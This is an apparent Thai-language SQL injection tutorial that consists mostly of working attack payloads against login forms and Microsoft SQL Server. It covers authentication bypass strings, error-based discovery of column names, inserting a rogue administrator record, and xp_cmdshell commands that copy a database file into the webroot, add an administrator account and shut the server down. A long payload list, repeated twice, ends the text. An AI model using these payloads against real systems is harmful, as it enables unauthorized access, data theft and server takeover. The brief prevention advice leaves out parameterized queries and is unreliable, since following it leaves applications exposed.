
ในการตรวจสอบสิทธิ์ โปรแกรมเมอร์จะเขียน SQL Login นำตัวแปร Username และ Password ไปเป็นคำสั่ง SQL Login เพื่อทำการสืบค้นข้อมูลจากตารางชื่อ tbl_users ค่าในฟิล Username ตรงกับค่าตัวแปร strUsername ที่หน้า Login และค่า Password ตรงกับค่าตัวแปร strPassword ในหน้า Login ก็จะทำการตรวจเช็ค ถ้าใช่จะทำให้ค่าในตัวแปร strAuthCheck = 1 ถ้าไม่ใช่(ไม่ถูก)ก็เป็น 0 ทำให้โปรแกรมทราบว่าการตรวจสอบสิทธิ์ผ่านหรือไม่
จะเกิดอะไรขึ้นถ้าตัวแปร Username และ Password ที่ถูกส่งเข้ามาตรวจสอบนั้นไม่ใช่ชื่อผู้ใช้และรหัสผ่าน แต่เป็นส่วนหนึ่งของคำสั่ง SQL ที่สามารถทำให้ความหมายของคำสั่ง SQL Login เปลี่ยนไป
การข้ามผ่านการตรวจสอบสิทธิ์
SELECT * FROM tbl_Users WHERE |เงื่อนไขเป็นจริงเสมอ
Username='hacker' AND Password='' or 9=9;--'
การกระทำทางตรรกศาสตร์
จะเกิดอะไรขึ้นถ้าตัวแปร Username และ Password ที่ถูกส่งเข้ามาตรวจสอบนั้นไม่ใช่ชื่อผู้ใช้และรหัสผ่าน แต่เป็นส่วนหนึ่งของคำสั่ง SQL ที่สามารถทำให้ความหมายของคำสั่ง SQL Login เปลี่ยนไป
การข้ามผ่านการตรวจสอบสิทธิ์
SELECT * FROM tbl_Users WHERE |เงื่อนไขเป็นจริงเสมอ
Username='hacker' AND Password='' or 9=9;--'
การกระทำทางตรรกศาสตร์
X and Y or TRUE มีค่าความเป็นจริงเสมอ
' or 9=9
คำสั่ง SQL Login จะเป็น
SELECT * FROM tbl_Users WHERE TRUE |ถ้าเป็นอย่างงี้ก็จะเข้าสูตรตรรกเป็นจริง ทำให้การตรวจสอบสิทธิ์ผ่าน
สัญลักษณ์ ;-- หมายถึงสิ้นสุดคำสั่ง SQL แฮกเกอร์ทำการใส่เพื่อให้ Single Quote ตัวสุดท้ายเป็นโมฆะ
หลังจากผ่านการตรวจสอบสิทธ์สิ่งที่จะได้รับขึ้นอยู่กับโปรแกรมทางฝั่ง SERVER เช่น
- เป็นผู้ใช้ที่มีชื่อเดียวกันกับ Username ที่ระบุ
- ผู้ใช้ที่อยู่ เรคคอร์ดแรกของตาราง (ส่วนใหญ่จะเป็น Admin)
- เป็นผู้ใช้ที่มี ID น้อยที่สุดของตาราง (ส่วนใหญ่จะเป็น Admin)
- ได้สิทธิ์เท่ากับผู้ใช้อื่นๆ
- ไม่ได้รับสิทธิ์อะไรเลย ขึ้นอยู่กับโปรแกรมบนฝั่ง SERVER |แล้วจะ Login มาเพื่ออะไรกันเนี้ย
งัดแงะเพื่อหาข้อมูลเพิ่มเติม
' HAVING 9=9;--
เริ่มจากการงัดดูข้อมูลฟิลและชื่อตาราง โดยส่งคำสั่งที่ทำให้ SQL เกิดอาการ Eror
'employee.id'
'GROUP BY emp_id;--
'employee.username'
'GROUP BY username;--
'employee.feild'
ด้วยวิธีการนี้ทำให้ทราบทุกฟิลด์ เมื่อทราบข้อมูลฟิลด์ ชื่อตาราง ชื่อฐานข้อมูล แฮกเกอร์สามารส่งคำสั่ง SQL ไปทำการ INSEART ข้อมูลได้
INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('hacgur@fbi.gov','PasWd123',' ','Administrator');--
พยายาม Login เป็น Admin โดยการอัดฉีด Sub
' or emp_id=(SELECT top 1 emp_id FROM employee order BY emp_id);--
ทั้งนี้ขึ้นอยู่กับความรู้คำสั่ง SQL และความสามารถเฉพาะตัว
ขโมยข้อมูล
'; exec master..xp_cmdshell 'copy c:\money.mdb c:\inetpub\wwwroot\';--
แล้วก็ใช้ Browser ทำการ Download มาโดยปกติ http://www.sqlinjection.com\money.mdb
' ... ;-- เริ่มต้นคำสั่งจนจบท้ายด้วย ;--
ครอบครอง SERVER โดยการเพิ่มสิทธิ์ผู้ดูแลระบบ
exec master..xp_cmdshell '';--
exec master..xp_cmdshell 'net user Hacker Passwd /add'; |ถ้ายังไม่จบก็ไม่ต้องปิดเครื่องหมาย ;--
exec master..xp_cmdshell 'net localgroup Administrator Hacker /add';-- |ทำการเพิ่ม user ชื่อ Hacker เป็น ผู้ดูแลระบบ
หยุดการทำงานของระบบฐานข้อมูล (Microsoft SQL SERVER) *จะรัน xp_cmdshell ได้
'; shutdown with nowait;--
การป้องกันการแฮก SQL Injection
1. ตรวจสอบการป้อนอักขระพิเศษผ่านฟอร์มอินฟุต เช่น ' ; - " | ^ % & @ ( )
2. จำกัดความยาวของฟิลด์อินพุต
3. ย้ายสคริปป้องกันทางฝั่ง ไคลเอนต์ไปไว้ฝั่ง เซริฟเวอร์
4. การแฮกแบบนี้จะสำเร็จหรือไม่ขึ้นอยู่กับโครงสร้างของโปรแกรมที่โปรแกรมเมอร์เขียนขึ้น โดยส่วนใหญ่ ASP จะมีโอกาสสำเร็จสูงกว่า PHP แต่ก็ใช่ว่า PHP จะปลอดภัยและ FIREWALL ไม่สามารถป้องกันการแฮกรูปแบบนี้ได้
ตัวอย่างในการข้ามการตรวจสอบสิทธิ์ในรูปแบบต่างๆ
'OR '1'='1
' or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a